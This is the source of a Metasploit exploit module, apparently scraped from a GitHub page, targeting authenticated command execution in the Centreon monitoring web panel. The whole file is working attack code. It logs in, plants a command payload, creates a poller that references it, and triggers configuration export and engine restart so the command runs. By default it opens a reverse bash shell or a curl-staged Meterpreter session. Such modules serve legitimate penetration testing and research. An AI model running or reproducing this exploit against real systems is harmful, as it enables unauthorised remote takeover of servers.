Path: blob/master/modules/exploits/linux/http/centreon_pollers_auth_rce.rb
32436 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::CmdStager9include Msf::Exploit::Remote::HttpClient1011def initialize(info = {})12super(13update_info(14info,15'Name' => 'Centreon Poller Authenticated Remote Command Execution',16'Description' => %q{17An authenticated user with sufficient administrative rights to manage pollers can use this functionality to18execute arbitrary commands remotely. Usually, the miscellaneous commands are used by the additional modules19(to perform certain actions), by the scheduler for data processing, etc.2021This module uses this functionality to obtain a remote shell on the target.22},23'Author' => [24'Omri Baso', # discovery25'Fabien Aunay', # discovery26'mekhalleh (RAMELLA Sébastien)' # this module27],28'References' => [29['EDB', '47977']30],31'DisclosureDate' => '2020-01-27',32'License' => MSF_LICENSE,33'Privileged' => true,34'Targets' => [35[36'Reverse shell (In-Memory)',37{38'Platform' => 'unix',39'Type' => :cmd_unix,40'Arch' => ARCH_CMD,41'DefaultOptions' => {42'PAYLOAD' => 'cmd/unix/reverse_bash'43}44}45],46[47'Meterpreter (Dropper)',48{49'Platform' => 'linux',50'Type' => :meterpreter,51'Arch' => ARCH_X64,52'DefaultOptions' => {53'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp',54'CMDSTAGER::FLAVOR' => :curl55}56}57]58],59'DefaultTarget' => 0,60'Notes' => {61'Stability' => [CRASH_SAFE],62'Reliability' => [REPEATABLE_SESSION],63'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]64}65)66)6768register_options([69OptString.new('PASSWORD', [true, 'The Centreon Web panel password to authenticate with']),70OptString.new('TARGETURI', [true, 'The URI of the Centreon Web panel path', '/centreon']),71OptString.new('USERNAME', [true, 'The Centreon Web panel username to authenticate with'])72])73end7475def create_new_poller(poller_name, command_id)76params = { 'p' => '60901' }7778print_status('Create new poller entry on the target.')79token = get_token(normalize_uri(target_uri.path, 'main.get.php'), params)80return false unless token8182response = send_request_cgi(83'method' => 'POST',84'uri' => normalize_uri(target_uri.path, 'main.get.php'),85'cookie' => @cookies,86'partial' => true,87'vars_get' => params,88'vars_post' => {89'name' => poller_name,90'ns_ip_address' => '127.0.0.1',91'localhost[localhost]' => '1',92'is_default[is_default]' => '0',93'remote_id' => '',94'ssh_port' => '22',95'remote_server_centcore_ssh_proxy[remote_server_centcore_ssh_proxy]' => '1',96'engine_start_command' => 'service centengine start',97'engine_stop_command' => 'service centengine stop',98'engine_restart_command' => 'service centengine restart',99'engine_reload_command' => 'service centengine reload',100'nagios_bin' => '/usr/sbin/centengine',101'nagiostats_bin' => '/usr/sbin/centenginestats',102'nagios_perfdata' => '/var/log/centreon-engine/service-perfdata',103'broker_reload_command' => 'service cbd reload',104'centreonbroker_cfg_path' => '/etc/centreon-broker',105'centreonbroker_module_path' => '/usr/share/centreon/lib/centreon-broker',106'centreonbroker_logs_path' => '/var/log/centreon-broker',107'centreonconnector_path' => '',108'init_script_centreontrapd' => 'centreontrapd',109'snmp_trapd_path_conf' => '/etc/snmp/centreon_traps/',110'pollercmd[0]' => command_id,111'clone_order_pollercmd_0' => '',112'ns_activate[ns_activate]' => '1',113'submitA' => 'Save',114'id' => '',115'o' => 'a',116'centreon_token' => token117}118)119return false unless response120121return true122end123124def execute_command(command, _opts = {})125cmd_name = rand_text_alpha(8..42)126params = { 'p' => '60803', 'type' => '3' }127poller_name = rand_text_alpha(8..42)128129## Register a miscellaneous command.130print_status('Upload command payload on the target.')131132token = get_token(normalize_uri(target_uri.path, 'main.get.php'), params)133unless token134print_bad('Could not get the upload form token, potentially due to insufficient access rights.')135return false136end137138response = send_request_cgi(139'method' => 'POST',140'uri' => normalize_uri(target_uri.path, 'main.get.php'),141'cookie' => @cookies,142'partial' => true,143'vars_get' => params,144'vars_post' => {145'command_name' => cmd_name,146'command_type[command_type]' => '3',147'command_line' => command,148'resource' => '$CENTREONPLUGINS$',149'plugins' => '/Centreon/SNMP',150'macros' => '$ADMINEMAIL$',151'command_example' => '',152'listOfArg' => '',153'listOfMacros' => '',154'connectors' => '',155'graph_id' => '',156'command_activate[command_activate]' => '1',157'command_comment' => '',158'submitA' => 'Save',159'command_id' => '',160'type' => '3',161'o' => 'a',162'centreon_token' => token163}164)165return false unless response166167## Create new poller to serve the payload.168create_new_poller(poller_name, get_command_id(cmd_name))169170## Export configuration to reload to trigger the exploit.171poller_id = get_poller_id(poller_name)172if poller_id.nil?173print_bad('Could not trigger the vulnerability!')174end175restart_exportation(poller_id)176end177178def get_auth179print_status('Sending authentication request.')180token = get_token(normalize_uri(target_uri.path, 'index.php'))181unless token.nil?182response = send_request_cgi(183'method' => 'POST',184'uri' => normalize_uri(target_uri.path, 'index.php'),185'cookie' => @cookies,186'vars_post' => {187'useralias' => datastore['USERNAME'],188'password' => datastore['PASSWORD'],189'submitLogin' => 'Connect',190'centreon_token' => token191}192)193return false unless response194195if response.redirect? && response.headers['location'].include?('main.php')196print_good('Successfully authenticated.')197@cookies = response.get_cookies198return true199end200end201202print_bad('Your credentials are incorrect.')203return false204end205206def get_command_id(cmd_name)207response = send_request_cgi(208'method' => 'GET',209'uri' => normalize_uri(target_uri.path, 'main.get.php'),210'cookie' => @cookies,211'vars_get' => {212'p' => '60803',213'type' => '3'214}215)216return nil unless response217218href = response.get_html_document.at("//a[contains(text(), \"#{cmd_name}\")]")['href']219return nil unless href220221id = href.split('?')[1].split('&')[2].split('=')[1]222return id unless id.empty?223224return nil225end226227def get_poller_id(poller_name)228response = send_request_cgi(229'method' => 'GET',230'uri' => normalize_uri(target_uri.path, 'main.get.php'),231'cookie' => @cookies,232'vars_get' => { 'p' => '60901' }233)234return nil unless response235236href = response.get_html_document.at("//a[contains(text(), \"#{poller_name}\")]")['href']237return nil unless href238239id = href.split('?')[1].split('&')[2].split('=')[1]240return id unless id.empty?241242return nil243end244245def get_session246response = send_request_cgi(247'method' => 'HEAD',248'uri' => normalize_uri(target_uri.path, 'index.php')249)250cookies = response.get_cookies251return cookies unless cookies.empty?252end253254def get_token(uri, params = {})255## Get centreon_token value.256request = {257'method' => 'GET',258'uri' => uri,259'cookie' => @cookies260}261request = request.merge({ 'vars_get' => params }) unless params.empty?262response = send_request_cgi(request)263264return nil unless response265266begin267token = response.get_html_document.at('input[@name="centreon_token"]')['value']268rescue NoMethodError269return nil270end271272return token273end274275def restart_exportation(poller_id)276print_status('Reload the poller to trigger exploitation.')277token = get_token(normalize_uri(target_uri.path, 'main.get.php'), { 'p' => '60902', 'poller' => poller_id })278279unless token280print_bad('Could not get the poller form token, potentially due to insufficient access rights.')281return false282end283284vprint_status(' -- Generating files.')285response = send_request_cgi(286'method' => 'POST',287'uri' => normalize_uri(target_uri.path, 'include', 'configuration', 'configGenerate', 'xml', 'generateFiles.php'),288'cookie' => @cookies,289'vars_post' => {290'poller' => poller_id,291'debug' => 'true',292'generate' => 'true'293}294)295return false unless response296297vprint_status(' -- Restarting engine.')298response = send_request_cgi(299'method' => 'POST',300'uri' => normalize_uri(target_uri.path, 'include', 'configuration', 'configGenerate', 'xml', 'restartPollers.php'),301'cookie' => @cookies,302'vars_post' => {303'poller' => poller_id,304'mode' => '2'305}306)307return false unless response308309vprint_status(' -- Executing command.')310response = send_request_cgi(311'method' => 'POST',312'uri' => normalize_uri(target_uri.path, 'include', 'configuration', 'configGenerate', 'xml', 'postcommand.php'),313'cookie' => @cookies,314'vars_post' => { 'poller' => poller_id }315)316return false unless response317318return true319end320321def exploit322@cookies = get_session323logged = get_auth unless @cookies.empty?324if logged325case target['Type']326when :cmd_unix327execute_command(payload.encoded)328when :meterpreter329execute_command(generate_cmdstager.join(';'))330end331end332end333334end335336337